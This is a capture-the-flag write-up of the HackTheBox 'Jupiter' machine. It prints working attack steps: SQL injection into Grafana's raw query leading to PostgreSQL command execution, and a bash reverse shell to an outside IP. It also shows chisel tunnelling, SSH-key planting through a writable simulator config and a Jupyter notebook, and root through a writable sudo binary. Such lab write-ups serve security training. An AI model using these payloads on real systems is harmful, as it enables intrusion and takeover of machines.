10 minutes
HackTheBox :: Jupiter
Creator: mto
Machine URL: https://app.hackthebox.com/machines/Jupiter
Difficulty: Medium
Initial enumeration
We start with an nmap
scan:
# Nmap 7.93 scan initiated Sat Jun 3 21:07:11 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.173.230
Nmap scan report for 10.129.173.230
Host is up, received echo-reply ttl 63 (0.033s latency).
Scanned at 2023-06-03 21:07:12 CEST for 25s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac5bbe792dc97a00ed9ae62b2d0e9b32 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEJSyKmXs5CCnonRCBuHkCBcdQ54oZCUcnlsey3u2/vMXACoH79dGbOmIHBTG7/GmSI/j031yFmdOL+652mKGUI=
| 256 6001d7db927b13f0ba20c6c900a71b41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHhClp0ailXIfO0/6yw9M1pRcZ0ZeOmPx22sO476W4lQ
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 3 21:07:37 2023 -- 1 IP address (1 host up) scanned in 25.37 seconds
Only two ports are open: 22 for OpenSSH and 80 for nginx.
We add jupiter.htb to the /etc/hosts file.
As we don’t have much of a choice here, let’s start with the web server.
jupiter.htb
We are greeted by a website for a planetary observation services company.
After walking through the website we discover index.html, about.html, services.html, contact.html, and portfolio.html.
All of them are static HTML pages and we find no functionality that we can interact with – the forms do not POST the data anywhere.
It’s time to fuzz.
ffuf
A quick directory fuzzing yields us http://jupiter.htb/Source/.
However, it’s 403 Forbidden, and all attempts to bypass it do not succeed.
Fuzzing for subdomains gives us more promising results:
┌──(fluff㉿kali)-[/opt/ctf/htb/jupiter]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://jupiter.htb" -H "Host: FUZZ.jupiter.htb" -mc all -fl 8
...
[Status: 200, Size: 34304, Words: 2150, Lines: 212, Duration: 69ms]
* FUZZ: kiosk
...
We add kiosk.jupiter.htb to our /etc/hosts.
kiosk.jupiter.htb
We are greeted by a Grafana instance.
On the login page we can see the Grafana version.
A quick search for vulnerabilities doesn’t yield promising results and the version is fairly recent.
However, as we browse the Dashboard we notice a bunch of fetches in the browser Dev Tools (or Burp/ZAP):
These are POST requests to http://kiosk.jupiter.htb/api/ds/query.
The posted data includes a full SQL query to postgres:
{
"queries": [
{
"refId": "A",
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"rawSql": "select \n name as \"Name\", \n parent as \"Parent Planet\", \n meaning as \"Name Meaning\" \nfrom \n moons \nwhere \n parent = 'Neptune' \norder by \n name desc;",
"format": "table",
"datasourceId": 1,
"intervalMs": 60000,
"maxDataPoints": 1127
}
],
"range": {
"from": "2023-06-04T19:19:48.682Z",
"to": "2023-06-05T01:19:48.682Z",
"raw": {
"from": "now-6h",
"to": "now"
}
},
"from": "1685906388682",
"to": "1685927988682"
}
We likely have a SQL Injection here, as we control not just the part of the query – we control it fully.
Let’s change the query in rawSql
to confirm it.
{
"queries": [
{
"refId": "A",
"datasource": {
"type": "postgres",
"uid": "YItSLg-Vz"
},
"rawSql": "select version();",
"format": "table",
"datasourceId": 1,
"intervalMs": 60000,
"maxDataPoints": 1127
}
],
"range": {
"from": "2023-06-03T13:50:41.971Z",
"to": "2023-06-03T19:50:41.971Z",
"raw": {
"from": "now-6h",
"to": "now"
}
},
"from": "1685800241971",
"to": "1685821841971"
}
As expected, we get a PostgreSQL version in the response.
SQL Injection in /api/ds/query -> RCE
After enumerating the tables and not finding anything of interest we check if we are a superuser:
SHOW is_superuser;
We get on
in the response.
Let’s check if we have Command Execution.
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'id';SELECT * FROM cmd_exec;DROP TABLE IF EXISTS cmd_exec;
Yes, we do!
Reverse shell
DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'bash -c \"bash -i >& /dev/tcp/10.10.14.90/443 0>&1\"';
We catch a shell as postgres.
Note: I had some issues with spawning a tty with python. It got quickly killed.
Just spawn another shell to avoid this.
postgres
After checking open ports we discover something interesting:
postgres@jupiter:/tmp$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 1102/postgres
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Something runs locally on TCP 8888.
postgres@jupiter:/tmp$ curl http://127.0.0.1:8888 -sL | grep '<title'
<title>Jupyter Notebook</title>
It’s Jupyter Notebook.
postgres@jupiter:/tmp$ ps fauxwww | grep jupyter
jovian 1087 0.0 1.7 83356 68068 ? S 01:01 0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
And it’s being executed by user jovian from /opt/solar-flares/flares.ipynb.
Attempting to access Jupyter Notebook
Let’s use chisel
to access it.
chisel
┌──(fluff㉿kali)-[/tmp]
└─$ /opt/tools/chisel/chisel_amd64 server -p 9999 --reverse &
postgres@jupiter:/tmp$ ./chisel_amd64 client 10.10.14.90:9999 R:socks &
We get a SOCKS5 proxy on port 1080.
After setting it up in our browser we can access Jupyter at http://127.0.0.1:8888.
Unfortunately, we need a token to log in.
After not finding any way to obtain the token we take note of this and move on with our enumeration.
pspy
pspy
shows us that a user with UID 1000 (juno) is regularly executing something:
2023/06/05 02:08:01 CMD: UID=1000 PID=2429 | /bin/sh -c /home/juno/shadow-simulation.sh
2023/06/05 02:08:01 CMD: UID=1000 PID=2430 | /bin/bash /home/juno/shadow-simulation.sh
2023/06/05 02:08:01 CMD: UID=1000 PID=2431 | rm -rf /dev/shm/shadow.data
2023/06/05 02:08:01 CMD: UID=1000 PID=2432 | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/06/05 02:08:01 CMD: UID=1000 PID=2435 | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/05 02:08:01 CMD: UID=1000 PID=2436 | lscpu --online --parse=CPU,CORE,SOCKET,NODE
2023/06/05 02:08:01 CMD: UID=1000 PID=2441 | /usr/bin/python3 -m http.server 80
2023/06/05 02:08:01 CMD: UID=1000 PID=2442 | /usr/bin/curl -s server
2023/06/05 02:08:01 CMD: UID=1000 PID=2444 | /usr/bin/curl -s server
2023/06/05 02:08:01 CMD: UID=1000 PID=2446 | /usr/bin/curl -s server
2023/06/05 02:08:01 CMD: UID=1000 PID=2451 | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/
Let’s check /dev/shm/network-simulation.yml which is passed as an argument to /home/juno/.local/bin/shadow.
network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
postgres@jupiter:/tmp$ ls -la /dev/shm/network-simulation.yml
-rw-rw-rw- 1 juno juno 815 Mar 7 12:28 /dev/shm/network-simulation.yml
This looks like some kind of YAML config and it’s world-writable.
After a quick search, we find out what it is – The Shadow Simulator.
Shadow is a discrete-event network simulator that directly executes real application code, enabling you to simulate distributed systems with thousands of network-connected processes in realistic and scalable private network experiments using your laptop, desktop, or server running Linux.
It’s a network simulator that executes real Linux binaries. And we control its configuration.
Let’s abuse it to obtain access as juno.
Privesc to juno
The YAML file seems pretty simple. We can set the binary to execute and its arguments.
To gain access we will attempt to write our SSH public key to juno’s autorized_keys file.
First, we generate a key pair with ssh-keygen
, write it to /tmp, and make it world-readable.
postgres@jupiter:/tmp$ echo 'ssh-rsa <PUBLIC_KEY> fluff@kali' > /tmp/juno_rsa.pub
postgres@jupiter:/tmp$ chmod 666 /tmp/juno_rsa.pub
Next, we craft a malicious config file and write it to /dev/shm/network-simulation.yml.
general:
stop_time: 10s
model_unblocked_syscall_latency: true
network:
graph:
type: 1_gbit_switch
hosts:
server:
network_node_id: 0
processes:
- path: touch
args: /home/juno/.ssh/authorized_keys
start_time: 3s
- path: cp
args: /tmp/juno_rsa.pub
/home/juno/.ssh/authorized_keys
start_time: 3s
- path: chmod
args: 600 /home/juno/.ssh/authorized_keys
start_time: 3s
It will run the following commands:
touch /home/juno/.ssh/authorized_keys
Creates a file (in case it doesn’t exist so it has a proper owner).cp /tmp/juno_rsa.pub /home/juno/.ssh/authorized_keys
Copies our public key to authorized_keys.chmod 600 /home/juno/.ssh/authorized_keys
Sets required permissions for the file (in case it didn’t exist andtouch
had a wrong umask).
Note: I was unable to make
bash
or redirects work, so i am usingcp
instead of usualecho >
to copy the key into a desired location.
We wait for shadow
to execute and can SSH as juno.
┌──(fluff㉿kali)-[/opt/ctf/htb/_completed/jupiter]
└─$ ssh [email protected] -i juno_rsa
...
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
juno
Grab a user flag in /home/juno/user.txt.
After executing the id
command we see an unusual group – science
.
juno@jupiter:~$ cat /etc/group | grep science
science❌1001:juno,jovian
juno and jovian are its members.
juno@jupiter:~$ find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
/opt/solar-flares is the location of Jupyter Notebook that jovian is running.
Let’s inspect the logs folder more closely:
juno@jupiter:/opt/solar-flares/logs$ ls -la
total 108
drwxrwxr-t 2 jovian science 4096 Jun 5 01:01 .
drwxrwx--- 4 jovian science 4096 May 4 18:59 ..
-rw-rw-r-- 1 jovian science 3137 Mar 9 11:59 jupyter-2023-03-08-14.log
-rw-rw-r-- 1 jovian science 1166 Mar 8 11:38 jupyter-2023-03-08-36.log
...
-rw-rw-r-- 1 jovian jovian 1167 May 5 12:00 jupyter-2023-05-05-54.log
-rw-rw-r-- 1 jovian jovian 1762 Jun 5 01:55 jupyter-2023-06-05-01.log
There are more logs without the science
group but they are all world-readable and we have the read permissions over the folder itself.
Let’s check the log marked with today’s date (2023-06-05
at the time of writing).
juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-06-05-01.log
[W 01:01:52.449 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 01:01:52.457 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 01:01:52.458 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 01:01:52.458 NotebookApp] http://localhost:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
[I 01:01:52.458 NotebookApp] or http://127.0.0.1:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
[I 01:01:52.458 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 01:01:52.462 NotebookApp] No web browser found: could not locate runnable browser.
[C 01:01:52.463 NotebookApp]
To access the notebook, open this file in a browser:
file:///home/jovian/.local/share/jupyter/runtime/nbserver-1087-open.html
Or copy and paste one of these URLs:
http://localhost:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
or http://127.0.0.1:8888/?token=72b5efa389d34d2a44a0f41e0d1d2fbece5552c3c16a90e0
We now have a token to access the Jupyter Notebook and chisel
is still up.
Privesc to jovian
After using the token to log in to Jupyter Notebook at http://127.0.0.1:8888 we can open the flares.ipynb notebook – http://127.0.0.1:8888/notebooks/flares.ipynb.
Jupyter can execute the inline Python code.
Let’s write our SSH public key again, but this one to jovian’s home folder.
In the inline code block replace the existing Python code with the following:
import os
os.system('mkdir ~/.ssh')
os.system('echo "ssh-rsa <PUBLIC_KEY> fluff@kali" > ~/.ssh/authorized_keys')
os.system('chmod 600 ~/.ssh/authorized_keys')
And click the “Run” button on the toolbar (or use Ctrl+Enter).
The result should be 0
.
We can now SSH as jovian.
jovian
jovian is a member of the sudo
group:
jovian@jupiter:~$ id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
We can run /usr/local/bin/sattrack as root.
jovian@jupiter:/tmp$ ls -la /usr/local/bin/sattrack
-rwxrwxr-x 1 jovian jovian 1113632 Mar 8 12:07 /usr/local/bin/sattrack
And we have the write permissions over this binary.
Privesc to root
We can just replace this binary with bash
and use sudo
to execute it as root.
jovian@jupiter:/tmp$ cp /usr/bin/bash /usr/local/bin/sattrack
jovian@jupiter:/tmp$ sudo /usr/local/bin/sattrack
We are root!
Grab the root flag in /root/root.txt and we are done.